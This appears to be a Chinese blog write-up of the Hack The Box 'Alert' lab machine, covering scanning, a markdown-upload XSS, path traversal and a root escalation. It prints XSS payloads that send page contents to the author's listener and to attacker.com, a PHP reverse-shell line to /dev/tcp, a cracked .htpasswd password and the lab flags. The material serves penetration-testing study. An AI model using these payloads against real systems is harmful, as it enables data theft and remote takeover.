HTB-Alert

本文最后更新于 2025年3月23日 晚上

XSS

Submit User Flag

先扫

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└─# nmap -sS -sV -A -Pn 10.10.11.44
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-23 14:53 CST
Nmap scan report for 10.10.11.44
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=3/23%OT=22%CT=1%CU=39522%PV=Y%DS=3%DC=T%G=Y%TM=67DF
OS:B016%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53A
OS:ST11NW7%O6=M53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=7FA%RUD=G)IE(R=Y%DFI=N%T=
OS:40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   0.27 ms   172.30.144.1
2   298.79 ms 10.10.16.1
3   368.82 ms 10.10.11.44

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.07 seconds

访问 web 网页发现是一个文件上传，只能上传 md 文件，上传一个带有 xss 的文件，能成功执行 xss

扫一下目录有几个 php 文件

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gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -u http://alert.htb  -x php,.txt

上传之后点击 Share Markdown 将生成的 URL 在 Contact Us 板块进行发送

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<script>
window.onload = function() {
    fetch("http://alert.htb/index.php")
        .then(resp => resp.text())
        .then(text => {
            fetch(`http://10.10.16.15:1234/?text=${btoa(text)}`);
        })
        .catch(err => {
            fetch(`http://10.10.16.15:1234/?err=${err}`);
        });
}
</script>

上传之后点击 Share Markdown 将生成的 URL 在 Contact Us 板块进行发送

启动监听

解码得到

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<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <title>Alert - Markdown Viewer</title>
</head>
<body>
    <nav>
        <a href="index.php?page=alert">Markdown Viewer</a>
        <a href="index.php?page=contact">Contact Us</a>
        <a href="index.php?page=about">About Us</a>
        <a href="index.php?page=donate">Donate</a>
            </nav>
    <div class="container">
        <h1>Markdown Viewer</h1><div class="form-container">
            <form action="visualizer.php" method="post" enctype="multipart/form-data">
                <input type="file" name="file" accept=".md" required>
                <input type="submit" value="View Markdown">
            </form>
          </div>    </div>
    <footer>
        <p style="color: black;">?2024 Alert. All rights reserved.</p>
    </footer>
</body>
</html>

然后试试 message.php 页面

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<script>
fetch("http://alert.htb/messages.php")
.then(response => response.text())
.then(data => {fetch("http://10.10.16.15:1234/?file_content=" + encodeURIComponent(data));});
</script>

进行 URL 解码

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%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A
:
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>

接受了一个 file 参数，那么像前面一样去读取一下 /etc/passwd 

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<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>

读取 /etc/hosts 文件，得到了子域

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<pre>127.0.0.1 localhost
127.0.1.1 alert
127.0.0.1 alert.htb
127.0.0.1 statistics.alert.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
</pre>

访问 statistics.alert.htb 发现需要密码登录

网站是 Apache 服务器，读取它的配置文件 /etc/apache2/sites-available/000-default.conf

敏感文件搜集

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<pre><VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

</pre>

根据配置文件信息去读取 /var/www/statistics.alert.htb/.htpasswd 文件

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<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>

URL 解码后还有一层加密，john 破解

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albert:manchesterunited

尝试直接登录

啥有用的都没有，ssh 登录，拿到 user flag

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59e3b7beba7b4b3802988ebd8f91fb26

Submit Root Flag

发现还存在另一个用户 david，但是没用权限访问，没啥用

发现开放了 8080 端口

也没用，查看进程发现 /opt 下的 website-monitor 有 root 权限运行

在 /opt/website-monitor/config 写入一个 shell.php

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<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.16.15/1234 0>&1'"); ?>

访问 http://127.0.0.1:8080/config/shell.php

拿到 root flag

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c586ada87358a165d65bfc94a6bc4459

XSS

https://exploit-notes.hdks.org/exploit/web/security-risk/xss/#steal-contents-of-restricted-pages-or-files

如果 JavaScript 代码可以通过 XSS 执行，我们就可以让受害者获取受限页面的内容并将其发送到我们的服务器

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<script>
window.onload = function() {
    fetch("/secret")
        .then(resp => resp.text())
        .then(text => {
            fetch(`http://attacker.com/?text=${btoa(text)}`);
        })
        .catch(err => {
            fetch(`http://attacker.com/?err=${err}`);
        });
}
</script>
渗透 > 靶机 > HTB
#HTB 渗透
HTB-Alert
http://example.com/2025/03/23/HTB-Alert/
作者
butt3rf1y
发布于
2025年3月23日
许可协议